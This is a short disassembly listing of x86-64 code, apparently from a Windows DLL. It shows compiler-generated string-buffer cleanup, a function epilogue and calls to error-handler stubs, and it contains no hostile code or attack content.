mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800239b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180023a7d
call fcn.1800d95dc
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], send
mov byte [rbp - 0x80], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x180023a04
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x1800239ff
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023a83
mov rcx, r8
call fcn.1800d95dc
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], send
mov byte [rbx], 0
xor eax, eax
jmp 0x180023a61
mov rdx, qword [rdx + 0x18]
cmp rdx, 0xf
jbe 0x180023a4d
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x180023a48
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180023a83
mov rcx, r8
call fcn.1800d95dc
mov eax, 0xbb8
mov byte [rbx], 0
mov qword [rbx + 0x18], send
mov qword [rbx + 0x10], rsi
movaps xmm6, xmmword [rsp + 0x290]
add rsp, 0x2a8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1800e5940
nop
call fcn.1800e5940
nop
call fcn.1800e5940
nop
call fcn.1800e5940
nop
call fcn.1800087d0
nop
call fcn.1800e5940
nop
call fcn.1800e5940
nop
call fcn.1800e5940
nop
call fcn.1800e5940
int3